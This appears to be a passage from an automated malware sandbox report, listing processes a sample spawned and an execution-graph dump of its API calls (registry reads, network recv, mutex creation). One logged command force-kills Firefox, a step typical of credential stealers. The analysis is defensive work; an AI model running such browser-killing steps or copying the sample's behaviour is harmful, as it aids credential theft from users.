                                                                                                                                                                                                                                                            MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:49
                                                                                                                                                                                                                                                            Start time:19:10:09
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe"
                                                                                                                                                                                                                                                            Imagebase:0xff0000
                                                                                                                                                                                                                                                            File size:1'838'592 bytes
                                                                                                                                                                                                                                                            MD5 hash:FFD3E08783983AA539D8056C4A45755A
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:50
                                                                                                                                                                                                                                                            Start time:19:10:10
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:taskkill /F /IM firefox.exe /T
                                                                                                                                                                                                                                                            Imagebase:0xe70000
                                                                                                                                                                                                                                                            File size:74'240 bytes
                                                                                                                                                                                                                                                            MD5 hash:CA313FD7E6C2A778FFD21CFB5C1C56CD
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:51
                                                                                                                                                                                                                                                            Start time:19:10:10
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:52
                                                                                                                                                                                                                                                            Start time:19:10:13
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):
                                                                                                                                                                                                                                                            Commandline:
                                                                                                                                                                                                                                                            Imagebase:
                                                                                                                                                                                                                                                            File size:74'240 bytes
                                                                                                                                                                                                                                                            MD5 hash:CA313FD7E6C2A778FFD21CFB5C1C56CD
                                                                                                                                                                                                                                                            Has elevated privileges:
                                                                                                                                                                                                                                                            Has administrator privileges:
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:53
                                                                                                                                                                                                                                                            Start time:19:10:13
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):
                                                                                                                                                                                                                                                            Commandline:
                                                                                                                                                                                                                                                            Imagebase:
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:
                                                                                                                                                                                                                                                            Has administrator privileges:
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:54
                                                                                                                                                                                                                                                            Start time:19:10:13
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):
                                                                                                                                                                                                                                                            Commandline:
                                                                                                                                                                                                                                                            Imagebase:
                                                                                                                                                                                                                                                            File size:74'240 bytes
                                                                                                                                                                                                                                                            MD5 hash:CA313FD7E6C2A778FFD21CFB5C1C56CD
                                                                                                                                                                                                                                                            Has elevated privileges:
                                                                                                                                                                                                                                                            Has administrator privileges:
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            Disassembly

                                                                                                                                                                                                                                                            Reset < >

                                                                                                                                                                                                                                                              Execution Graph

                                                                                                                                                                                                                                                              Execution Coverage:3.6%
                                                                                                                                                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                              Signature Coverage:2.8%
                                                                                                                                                                                                                                                              Total number of Nodes:762
                                                                                                                                                                                                                                                              Total number of Limit Nodes:16
                                                                                                                                                                                                                                                              execution_graph 12090 87d0c7 12091 87d0d7 12090->12091 12092 87d17f 12091->12092 12093 87d17b RtlWakeAllConditionVariable 12091->12093 12150 863c47 12151 863c51 12150->12151 12152 863c5f 12151->12152 12157 8632d0 12151->12157 12153 863c68 12152->12153 12155 863810 4 API calls 12152->12155 12156 863cdb 12155->12156 12158 87c6ac GetSystemTimePreciseAsFileTime 12157->12158 12164 863314 12158->12164 12159 86336b 12160 87c26a 5 API calls 12159->12160 12161 86333c __Mtx_unlock 12160->12161 12163 87c26a 5 API calls 12161->12163 12165 863350 __floor_pentium4 12161->12165 12166 863377 12163->12166 12164->12159 12164->12161 12176 87bd4c 12164->12176 12165->12152 12167 87c6ac GetSystemTimePreciseAsFileTime 12166->12167 12168 8633af 12167->12168 12169 87c26a 5 API calls 12168->12169 12170 8633b6 __Cnd_broadcast 12168->12170 12169->12170 12171 87c26a 5 API calls 12170->12171 12172 8633d7 __Mtx_unlock 12170->12172 12171->12172 12173 87c26a 5 API calls 12172->12173 12174 8633eb 12172->12174 12175 86340e 12173->12175 12174->12152 12175->12152 12179 87bb72 12176->12179 12178 87bd5c 12178->12164 12180 87bb9c 12179->12180 12181 87cf6b _xtime_get GetSystemTimePreciseAsFileTime 12180->12181 12184 87bba4 __Xtime_diff_to_millis2 __floor_pentium4 12180->12184 12182 87bbcf __Xtime_diff_to_millis2 12181->12182 12183 87cf6b _xtime_get GetSystemTimePreciseAsFileTime 12182->12183 12182->12184 12183->12184 12184->12178 12706 869f44 12707 869f4c shared_ptr 12706->12707 12708 86a953 Sleep CreateMutexA 12707->12708 12709 86a01f shared_ptr 12707->12709 12710 86a98e 12708->12710 11941 868780 11942 868786 11941->11942 11948 896729 11942->11948 11945 8687a6 11947 8687a0 11955 896672 11948->11955 11950 868793 11950->11945 11951 8967b7 11950->11951 11952 8967c3 __fassign 11951->11952 11954 8967cd __cftof 11952->11954 11967 896740 11952->11967 11954->11947 11956 89667e __fassign 11955->11956 11958 896685 __cftof 11956->11958 11959 89a8c3 11956->11959 11958->11950 11960 89a8cf __fassign 11959->11960 11963 89a967 11960->11963 11962 89a8ea 11962->11958 11965 89a98a 11963->11965 11964 89d82f __fassign RtlAllocateHeap 11966 89a9d0 ___free_lconv_mon 11964->11966 11965->11964 11965->11965 11965->11966 11966->11962 11968 896762 11967->11968 11970 89674d __cftof ___free_lconv_mon 11967->11970 11968->11970 11971 89a038 11968->11971 11970->11954 11972 89a050 11971->11972 11974 89a075 11971->11974 11972->11974 11975 8a0439 11972->11975 11974->11970 11976 8a0445 __fassign 11975->11976 11978 8a044d __cftof __dosmaperr 11976->11978 11979 8a052b 11976->11979 11978->11974 11980 8a054d 11979->11980 11984 8a0551 __cftof __dosmaperr 11979->11984 11980->11984 11985 8a00d2 11980->11985 11984->11978 11986 8a00e3 11985->11986 11987 8a0106 11986->11987 11988 89a671 __fassign 4 API calls 11986->11988 11987->11984 11989 89fcc0 11987->11989 11988->11987 11990 89fd0d 11989->11990 11991 89690a __fassign 4 API calls 11990->11991 11995 89fd1c __cftof __fassign 11991->11995 11992 89b67d 4 API calls 11992->11995 11993 89c719 GetPEB ExitProcess GetPEB RtlAllocateHeap __fassign 11993->11995 11994 89ffbc __floor_pentium4 11994->11984 11995->11992 11995->11993 11995->11994 11995->11995 12094 8620c0 12095 87c68b __Mtx_init_in_situ 2 API calls 12094->12095 12096 8620cc 12095->12096 12097 86e0c0 recv 12098 86e122 recv 12097->12098 12099 86e157 recv 12098->12099 12100 86e191 12099->12100 12101 86e2b3 __floor_pentium4 12100->12101 12106 87c6ac 12100->12106 12113 87c452 12106->12113 12108 86e2ee 12109 87c26a 12108->12109 12110 87c292 12109->12110 12111 87c274 12109->12111 12110->12110 12111->12110 12130 87c297 12111->12130 12114 87c47a __floor_pentium4 12113->12114 12115 87c4a8 12113->12115 12114->12108 12115->12114 12119 87cf6b 12115->12119 12117 87c4fd __Xtime_diff_to_millis2 12117->12114 12118 87cf6b _xtime_get GetSystemTimePreciseAsFileTime 12117->12118 12118->12117 12120 87cf7a 12119->12120 12122 87cf87 __aulldvrm 12119->12122 12120->12122 12123 87cf44 12120->12123 12122->12117 12126 87cbea 12123->12126 12127 87cc07 12126->12127 12128 87cbfb GetSystemTimePreciseAsFileTime 12126->12128 12127->12122 12128->12127 12133 862ae0 12130->12133 12132 87c2ae std::_Throw_future_error 12134 87bedf InitOnceExecuteOnce 12133->12134 12136 862af4 __fassign 12134->12136 12135 862aff 12135->12132 12136->12135 12137 89a671 __fassign 4 API calls 12136->12137 12138 896ccc 12137->12138 12139 898bec __fassign 4 API calls 12138->12139 12140 896cf6 12139->12140 12190 868980 12192 868aea 12190->12192 12193 8689d8 shared_ptr 12190->12193 12191 865c10 6 API calls 12191->12193 12193->12191 12193->12192 12349 862e00 12350 862e28 12349->12350 12351 87c68b __Mtx_init_in_situ 2 API calls 12350->12351 12352 862e33 12351->12352 11996 863c8e 11997 863c98 11996->11997 11999 863ca5 11997->11999 12004 862410 11997->12004 12000 863ccf 11999->12000 12008 863810 11999->12008 12002 863810 4 API calls 12000->12002 12003 863cdb 12002->12003 12005 862424 12004->12005 12012 87b52d 12005->12012 12009 86381c 12008->12009 12061 862440 12009->12061 12020 893aed 12012->12020 12014 86242a 12014->11999 12015 87b5a5 ___std_exception_copy 12027 87b1ad 12015->12027 12017 87b598 12023 87af56 12017->12023 12031 894f29 12020->12031 12022 87b555 12022->12014 12022->12015 12022->12017 12024 87af9f ___std_exception_copy 12023->12024 12026 87afb2 shared_ptr 12024->12026 12037 87b39f 12024->12037 12026->12014 12028 87b1d8 12027->12028 12030 87b1e1 shared_ptr 12027->12030 12029 87b39f 5 API calls 12028->12029 12029->12030 12030->12014 12032 894f2e __fassign 12031->12032 12032->12022 12033 89d634 __fassign 4 API calls 12032->12033 12036 898bfc __fassign 12032->12036 12033->12036 12034 8965ed __fassign 3 API calls 12035 898c2f 12034->12035 12036->12034 12048 87bedf 12037->12048 12040 87b3e8 12040->12026 12057 87cc31 12048->12057 12051 896cbb 12052 896cc7 __fassign 12051->12052 12053 89a671 __fassign 4 API calls 12052->12053 12054 896ccc 12053->12054 12055 898bec __fassign 4 API calls 12054->12055 12056 896cf6 12055->12056 12058 87b3e1 12057->12058 12059 87cc3f InitOnceExecuteOnce 12057->12059 12058->12040 12058->12051 12059->12058 12064 87b5d6 12061->12064 12063 862472 12065 87b5f1 std::_Throw_future_error 12064->12065 12066 898bec __fassign 4 API calls 12065->12066 12068 87b658 __fassign __floor_pentium4 12065->12068 12067 87b69f 12066->12067 12068->12063 12353 896a44 12354 896a5c 12353->12354 12355 896a52 12353->12355 12358 89698d 12354->12358 12357 896a76 ___free_lconv_mon 12359 89690a __fassign 4 API calls 12358->12359 12360 89699f 12359->12360 12360->12357 11730 86a856 11731 86a870 11730->11731 11732 86a892 shared_ptr 11730->11732 11731->11732 11733 86a94e 11731->11733 11737 86a8a0 11732->11737 11746 867d30 11732->11746 11736 86a953 Sleep CreateMutexA 11733->11736 11735 86a8ae 11735->11737 11738 867d30 7 API calls 11735->11738 11740 86a98e 11736->11740 11739 86a8b8 11738->11739 11739->11737 11741 867d30 7 API calls 11739->11741 11742 86a8c2 11741->11742 11742->11737 11743 867d30 7 API calls 11742->11743 11744 86a8cc 11743->11744 11744->11737 11745 867d30 7 API calls 11744->11745 11745->11737 11747 867d96 __cftof 11746->11747 11748 867ee8 shared_ptr __floor_pentium4 11747->11748 11785 865c10 11747->11785 11748->11735 11750 867dd2 11751 865c10 6 API calls 11750->11751 11753 867dff shared_ptr 11751->11753 11752 867ed3 GetNativeSystemInfo 11754 867ed7 11752->11754 11753->11748 11753->11752 11753->11754 11754->11748 11755 867f3f 11754->11755 11756 868019 11754->11756 11758 865c10 6 API calls 11755->11758 11757 865c10 6 API calls 11756->11757 11759 86804c 11757->11759 11760 867f67 11758->11760 11761 865c10 6 API calls 11759->11761 11762 865c10 6 API calls 11760->11762 11764 86806b 11761->11764 11763 867f86 11762->11763 11795 898bbe 11763->11795 11766 865c10 6 API calls 11764->11766 11767 8680a3 11766->11767 11768 865c10 6 API calls 11767->11768 11769 8680f4 11768->11769 11770 865c10 6 API calls 11769->11770 11771 868113 11770->11771 11772 865c10 6 API calls 11771->11772 11773 86814b 11772->11773 11774 865c10 6 API calls 11773->11774 11775 86819c 11774->11775 11776 865c10 6 API calls 11775->11776 11777 8681bb 11776->11777 11778 865c10 6 API calls 11777->11778 11779 8681f3 11778->11779 11780 865c10 6 API calls 11779->11780 11781 868244 11780->11781 11782 865c10 6 API calls 11781->11782 11783 868263 11782->11783 11784 865c10 6 API calls 11783->11784 11784->11748 11786 865c54 11785->11786 11798 864b30 11786->11798 11788 865d17 shared_ptr __floor_pentium4 11788->11750 11789 865c7b __cftof 11789->11788 11790 865da7 RegOpenKeyExA 11789->11790 11791 865e00 RegCloseKey 11790->11791 11793 865e26 11791->11793 11792 865ea6 shared_ptr __floor_pentium4 11792->11750 11793->11792 11794 865c10 4 API calls 11793->11794 11924 898868 11795->11924 11797 898bdc 11797->11748 11800 864ce5 11798->11800 11801 864b92 11798->11801 11800->11789 11801->11800 11802 896da6 11801->11802 11803 896dc2 __fassign 11802->11803 11804 896db4 11802->11804 11803->11801 11807 896d19 11804->11807 11812 89690a 11807->11812 11811 896d3d 11811->11801 11813 89692a 11812->11813 11819 896921 11812->11819 11813->11819 11826 89a671 11813->11826 11820 896d52 11819->11820 11821 896d8f 11820->11821 11822 896d5f 11820->11822 11916 89b67d 11821->11916 11825 896d6e __fassign 11822->11825 11911 89b6a1 11822->11911 11825->11811 11827 89a67b __fassign 11826->11827 11829 89a694 __fassign ___free_lconv_mon 11827->11829 11841 89d82f 11827->11841 11830 89694a 11829->11830 11845 898bec 11829->11845 11833 89b5fb 11830->11833 11834 89b60e 11833->11834 11836 896960 11833->11836 11834->11836 11876 89f5ab 11834->11876 11837 89b628 11836->11837 11838 89b63b 11837->11838 11840 89b650 11837->11840 11838->11840 11883 89e6b1 11838->11883 11840->11819 11844 89d83c __fassign 11841->11844 11842 89d867 RtlAllocateHeap 11843 89d87a 11842->11843 11842->11844 11843->11829 11844->11842 11844->11843 11846 898bf1 __fassign 11845->11846 11850 898bfc __fassign 11846->11850 11851 89d634 11846->11851 11865 8965ed 11850->11865 11852 89d640 __fassign 11851->11852 11853 89d69c __cftof 11852->11853 11854 89d81b __fassign 11852->11854 11855 89d726 11852->11855 11857 89d751 __fassign 11852->11857 11853->11850 11856 8965ed __fassign 3 API calls 11854->11856 11855->11857 11868 89d62b 11855->11868 11858 89d82e 11856->11858 11857->11853 11860 89a671 __fassign 4 API calls 11857->11860 11863 89d7a5 11857->11863 11860->11863 11862 89d62b __fassign 4 API calls 11862->11857 11863->11853 11864 89a671 __fassign 4 API calls 11863->11864 11864->11853 11871 8964c7 11865->11871 11869 89a671 __fassign GetPEB ExitProcess GetPEB RtlAllocateHeap 11868->11869 11870 89d630 11869->11870 11870->11862 11873 8964d5 __fassign 11871->11873 11872 896520 11873->11872 11874 89652b __fassign GetPEB ExitProcess GetPEB 11873->11874 11875 89652a 11874->11875 11877 89f5b7 __fassign 11876->11877 11878 89a671 __fassign 4 API calls 11877->11878 11880 89f5c0 __fassign 11878->11880 11879 89f606 11879->11836 11880->11879 11881 898bec __fassign 4 API calls 11880->11881 11882 89f62b 11881->11882 11884 89a671 __fassign 4 API calls 11883->11884 11885 89e6bb 11884->11885 11888 89e5c9 11885->11888 11887 89e6c1 11887->11840 11889 89e5d5 __fassign ___free_lconv_mon 11888->11889 11890 89e5f6 11889->11890 11891 898bec __fassign 4 API calls 11889->11891 11890->11887 11892 89e668 11891->11892 11893 89e6a4 11892->11893 11897 89a72e 11892->11897 11893->11887 11898 89a739 __fassign 11897->11898 11899 89d82f __fassign RtlAllocateHeap 11898->11899 11901 89a745 __fassign ___free_lconv_mon 11898->11901 11899->11901 11900 898bec __fassign GetPEB ExitProcess GetPEB RtlAllocateHeap 11902 89a7c7 11900->11902 11901->11900 11903 89a7be 11901->11903 11904 89e4b0 11903->11904 11905 89e5c9 __fassign GetPEB ExitProcess GetPEB RtlAllocateHeap 11904->11905 11906 89e4c3 11905->11906 11907 89e259 __fassign GetPEB ExitProcess GetPEB RtlAllocateHeap 11906->11907 11908 89e4cb __fassign 11907->11908 11909 89e6c4 __fassign GetPEB ExitProcess GetPEB RtlAllocateHeap 11908->11909 11910 89e4dc __fassign ___free_lconv_mon 11908->11910 11909->11910 11910->11893 11912 89690a __fassign 4 API calls 11911->11912 11913 89b6be 11912->11913 11915 89b6ce __floor_pentium4 11913->11915 11921 89f1bf 11913->11921 11915->11825 11917 89a671 __fassign 4 API calls 11916->11917 11918 89b688 11917->11918 11919 89b5fb __fassign 4 API calls 11918->11919 11920 89b698 11919->11920 11920->11825 11922 89690a __fassign 4 API calls 11921->11922 11923 89f1df __cftof __fassign __freea __floor_pentium4 11922->11923 11923->11915 11925 89887a 11924->11925 11926 89690a __fassign 4 API calls 11925->11926 11927 89888f __cftof 11925->11927 11929 8988bf 11926->11929 11927->11797 11928 896d52 4 API calls 11928->11929 11929->11927 11929->11928 12224 87d111 12226 87d122 12224->12226 12225 87d12a 12226->12225 12228 87d199 12226->12228 12229 87d1a7 SleepConditionVariableCS 12228->12229 12231 87d1c0 12228->12231 12229->12231 12231->12226 12364 862b90 12365 862bce 12364->12365 12366 87b7fb TpReleaseWork 12365->12366 12367 862bdb shared_ptr __floor_pentium4 12366->12367 12570 862b10 12571 862b1c 12570->12571 12572 862b1a 12570->12572 12573 87c26a 5 API calls 12571->12573 12574 862b22 12573->12574 12448 8787d0 12449 87882a __cftof 12448->12449 12455 879bb0 12449->12455 12452 87886c __floor_pentium4 12454 8788d9 std::_Throw_future_error 12468 879ef0 12455->12468 12457 879be5 12472 862ce0 12457->12472 12459 879c16 12481 879f70 12459->12481 12461 878854 12461->12452 12462 8643f0 12461->12462 12463 87bedf InitOnceExecuteOnce 12462->12463 12464 86440a 12463->12464 12465 864411 12464->12465 12466 896cbb 4 API calls 12464->12466 12465->12454 12467 864424 12466->12467 12469 879f0c 12468->12469 12470 87c68b __Mtx_init_in_situ 2 API calls 12469->12470 12471 879f17 12470->12471 12471->12457 12473 862d1d 12472->12473 12474 87bedf InitOnceExecuteOnce 12473->12474 12475 862d46 12474->12475 12476 862d88 12475->12476 12477 862d51 __floor_pentium4 12475->12477 12486 87bef7 12475->12486 12479 862440 4 API calls 12476->12479 12477->12459 12480 862d9b 12479->12480 12480->12459 12482 879fef shared_ptr 12481->12482 12484 87a058 12482->12484 12499 87a210 12482->12499 12485 87a03b 12485->12461 12487 87bf03 std::_Throw_future_error 12486->12487 12488 87bf73 12487->12488 12489 87bf6a 12487->12489 12490 862ae0 5 API calls 12488->12490 12493 87be7f 12489->12493 12492 87bf6f 12490->12492 12492->12476 12494 87cc31 InitOnceExecuteOnce 12493->12494 12495 87be97 12494->12495 12496 87be9e 12495->12496 12497 896cbb 4 API calls 12495->12497 12496->12492 12498 87bea7 12497->12498 12498->12492 12500 87a290 12499->12500 12506 8771d0 12500->12506 12502 87a2cc shared_ptr 12503 87a4be shared_ptr 12502->12503 12504 863ee0 3 API calls 12502->12504 12503->12485 12505 87a4a6 12504->12505 12505->12485 12507 877211 12506->12507 12514 863970 12507->12514 12509 877446 __floor_pentium4 12509->12502 12510 8772ad __cftof 12510->12509 12511 87c68b __Mtx_init_in_situ 2 API calls 12510->12511 12512 877401 12511->12512 12519 862ec0 12512->12519 12515 87c68b __Mtx_init_in_situ 2 API calls 12514->12515 12516 8639a7 12515->12516 12517 87c68b __Mtx_init_in_situ 2 API calls 12516->12517 12518 8639e6 12517->12518 12518->12510 12520 862f06 12519->12520 12521 862f7e GetCurrentThreadId 12519->12521 12524 87c6ac GetSystemTimePreciseAsFileTime 12520->12524 12522 862fef 12521->12522 12523 862f94 12521->12523 12522->12509 12523->12522 12529 87c6ac GetSystemTimePreciseAsFileTime 12523->12529 12525 862f12 12524->12525 12526 86301e 12525->12526 12531 862f1d __Mtx_unlock 12525->12531 12527 87c26a 5 API calls 12526->12527 12528 863024 12527->12528 12532 87c26a 5 API calls 12528->12532 12530 862fb9 12529->12530 12534 87c26a 5 API calls 12530->12534 12535 862fc0 __Mtx_unlock 12530->12535 12531->12528 12533 862f6f 12531->12533 12532->12530 12533->12521 12533->12522 12534->12535 12536 87c26a 5 API calls 12535->12536 12537 862fd8 __Cnd_broadcast 12535->12537 12536->12537 12537->12522 12538 87c26a 5 API calls 12537->12538 12539 86303c 12538->12539 12540 87c6ac GetSystemTimePreciseAsFileTime 12539->12540 12548 863080 shared_ptr __Mtx_unlock 12540->12548 12541 8631c5 12542 87c26a 5 API calls 12541->12542 12543 8631cb 12542->12543 12544 87c26a 5 API calls 12543->12544 12545 8631d1 12544->12545 12546 87c26a 5 API calls 12545->12546 12554 863193 __Mtx_unlock 12546->12554 12547 8631a7 __floor_pentium4 12547->12509 12548->12541 12548->12543 12548->12547 12550 863132 GetCurrentThreadId 12548->12550 12549 87c26a 5 API calls 12551 8631dd 12549->12551 12550->12547 12552 86313b 12550->12552 12552->12547 12553 87c6ac GetSystemTimePreciseAsFileTime 12552->12553 12555 86315f 12553->12555 12554->12547 12554->12549 12555->12541 12555->12545 12555->12554 12556 87bd4c GetSystemTimePreciseAsFileTime 12555->12556 12556->12555 12368 863f9f 12369 863fad 12368->12369 12371 863fb6 12368->12371 12370 862410 5 API calls 12369->12370 12370->12371 12335 869adc 12336 869aea 12335->12336 12339 869afe shared_ptr 12335->12339 12337 86a917 12336->12337 12336->12339 12338 86a953 Sleep CreateMutexA 12337->12338 12341 86a98e 12338->12341 12340 865c10 6 API calls 12339->12340 12342 869b7c 12340->12342 12343 868b30 6 API calls 12342->12343 12344 869b8d 12343->12344 12345 865c10 6 API calls 12344->12345 12346 869cb1 12345->12346 12347 868b30 6 API calls 12346->12347 12348 869cc2 12347->12348 12284 86215a 12287 87c6fc 12284->12287 12286 862164 12288 87c724 12287->12288 12289 87c70c 12287->12289 12288->12286 12289->12288 12291 87cfbe 12289->12291 12292 87ccd5 __Mtx_init_in_situ InitializeCriticalSectionEx 12291->12292 12293 87cfd0 12292->12293 12293->12289 11930 896629 11931 8964c7 __fassign 3 API calls 11930->11931 11932 89663a 11931->11932 12372 869ba5 12373 869ba7 12372->12373 12374 865c10 6 API calls 12373->12374 12375 869cb1 12374->12375 12376 868b30 6 API calls 12375->12376 12377 869cc2 12376->12377 11937 86b1a0 11938 86b1f2 11937->11938 11939 86b3ad CoInitialize 11938->11939 11940 86b3fa shared_ptr __floor_pentium4 11939->11940 12069 8620a0 12072 87c68b 12069->12072 12071 8620ac 12075 87c3d5 12072->12075 12074 87c69b 12074->12071 12076 87c3e1 12075->12076 12077 87c3eb 12075->12077 12078 87c3be 12076->12078 12079 87c39e 12076->12079 12077->12074 12088 87cd0a 12078->12088 12079->12077 12084 87ccd5 12079->12084 12082 87c3d0 12082->12074 12085 87cce3 InitializeCriticalSectionEx 12084->12085 12086 87c3b7 12084->12086 12085->12086 12086->12074 12089 87cd1f RtlInitializeConditionVariable 12088->12089 12089->12082 12232 864120 12233 86416a 12232->12233 12235 8641b2 Concurrency::details::_ContextCallback::_CallInContext __floor_pentium4 12233->12235 12236 863ee0 12233->12236 12237 863f48 12236->12237 12241 863f1e 12236->12241 12239 863f58 12237->12239 12242 862c00 12237->12242 12239->12235 12241->12235 12243 862c0e 12242->12243 12249 87b847 12243->12249 12245 862c42 12246 862c49 12245->12246 12255 862c80 12245->12255 12246->12235 12248 862c58 std::_Throw_future_error 12250 87b854 12249->12250 12254 87b873 Concurrency::details::_Reschedule_chore 12249->12254 12258 87cb77 12250->12258 12252 87b864 12252->12254 12260 87b81e 12252->12260 12254->12245 12266 87b7fb 12255->12266 12257 862cb2 shared_ptr 12257->12248 12259 87cb92 CreateThreadpoolWork 12258->12259 12259->12252 12261 87b827 Concurrency::details::_Reschedule_chore 12260->12261 12264 87cdcc 12261->12264 12263 87b841 12263->12254 12265 87cde1 TpPostWork 12264->12265 12265->12263 12267 87b807 12266->12267 12268 87b817 12266->12268 12267->12268 12270 87ca78 12267->12270 12268->12257 12271 87ca8d TpReleaseWork 12270->12271 12271->12268 12557 863fe0 12558 864022 12557->12558 12559 8640d2 12558->12559 12560 86408c 12558->12560 12563 864035 __floor_pentium4 12558->12563 12561 863ee0 3 API calls 12559->12561 12564 8635e0 12560->12564 12561->12563 12565 863616 12564->12565 12566 862ce0 5 API calls 12565->12566 12569 86364e Concurrency::cancel_current_task shared_ptr __floor_pentium4 12565->12569 12567 86369e 12566->12567 12568 862c00 3 API calls 12567->12568 12567->12569 12568->12569 12569->12563 12575 86af20 12576 86af63 12575->12576 12587 896660 12576->12587 12581 89663f 4 API calls 12582 86af80 12581->12582 12583 89663f 4 API calls 12582->12583 12584 86af98 __cftof 12583->12584 12593 8655f0 12584->12593 12586 86b04e shared_ptr __floor_pentium4 12588 89a671 __fassign 4 API calls 12587->12588 12589 86af69 12588->12589 12590 89663f 12589->12590 12591 89a671 __fassign 4 API calls 12590->12591 12592 86af71 12591->12592 12592->12581 12594 865610 12593->12594 12594->12594 12596 865710 __floor_pentium4 12594->12596 12597 8622c0 12594->12597 12596->12586 12600 862280 12597->12600 12601 862296 12600->12601 12604 8987f8 12601->12604 12607 897609 12604->12607 12606 8622a4 12606->12594 12608 897649 12607->12608 12610 897631 __cftof __floor_pentium4 12607->12610 12609 89690a __fassign 4 API calls 12608->12609 12608->12610 12611 897661 12609->12611 12610->12606 12613 897bc4 12611->12613 12614 897bd5 12613->12614 12615 897be4 __cftof 12614->12615 12620 898168 12614->12620 12625 897dc2 12614->12625 12630 897de8 12614->12630 12640 897f36 12614->12640 12615->12610 12621 898178 12620->12621 12622 898171 12620->12622 12621->12614 12649 897b50 12622->12649 12624 898177 12624->12614 12626 897dcb 12625->12626 12627 897dd2 12625->12627 12628 897b50 4 API calls 12626->12628 12627->12614 12629 897dd1 12628->12629 12629->12614 12632 897e09 __cftof 12630->12632 12633 897def 12630->12633 12631 897f69 12638 897f77 12631->12638 12639 897f8b 12631->12639 12657 898241 12631->12657 12632->12614 12633->12631 12633->12632 12635 897fa2 12633->12635 12633->12638 12635->12639 12653 898390 12635->12653 12638->12639 12661 8986ea 12638->12661 12639->12614 12641 897f69 12640->12641 12642 897f4f 12640->12642 12643 898241 4 API calls 12641->12643 12645 897f8b 12641->12645 12647 897f77 12641->12647 12642->12641 12644 897fa2 12642->12644 12642->12647 12643->12647 12644->12645 12646 898390 4 API calls 12644->12646 12645->12614 12646->12647 12647->12645 12648 8986ea 4 API calls 12647->12648 12648->12645 12650 897b62 12649->12650 12651 898ab6 4 API calls 12650->12651 12652 897b85 12651->12652 12652->12624 12654 8983ab 12653->12654 12655 8983dd 12654->12655 12665 89c88e 12654->12665 12655->12638 12658 89825a 12657->12658 12672 89d3c8 12658->12672 12660 89830d 12660->12638 12660->12660 12662 89875d __floor_pentium4 12661->12662 12664 898707 12661->12664 12662->12639 12663 89c88e __cftof 4 API calls 12663->12664 12664->12662 12664->12663 12668 89c733 12665->12668 12667 89c8a6 12667->12655 12669 89c743 12668->12669 12670 89c748 __cftof 12669->12670 12671 89690a __fassign GetPEB ExitProcess GetPEB RtlAllocateHeap 12669->12671 12670->12667 12671->12670 12675 89d3ee 12672->12675 12681 89d3d8 __cftof 12672->12681 12673 89d485 12677 89d4ae 12673->12677 12678 89d4e4 12673->12678 12674 89d48a 12685 89cbdf 12674->12685 12675->12673 12675->12674 12675->12681 12679 89d4cc 12677->12679 12680 89d4b3 12677->12680 12702 89cef8 12678->12702 12698 89d0e2 12679->12698 12691 89d23e 12680->12691 12681->12660 12686 89cbf1 12685->12686 12687 89690a __fassign GetPEB ExitProcess GetPEB RtlAllocateHeap 12686->12687 12688 89cc05 12687->12688 12689 89cef8 GetPEB ExitProcess GetPEB RtlAllocateHeap 12688->12689 12690 89cc0d __alldvrm __cftof _strrchr 12688->12690 12689->12690 12690->12681 12692 89d26c 12691->12692 12693 89d2a5 12692->12693 12694 89d2de 12692->12694 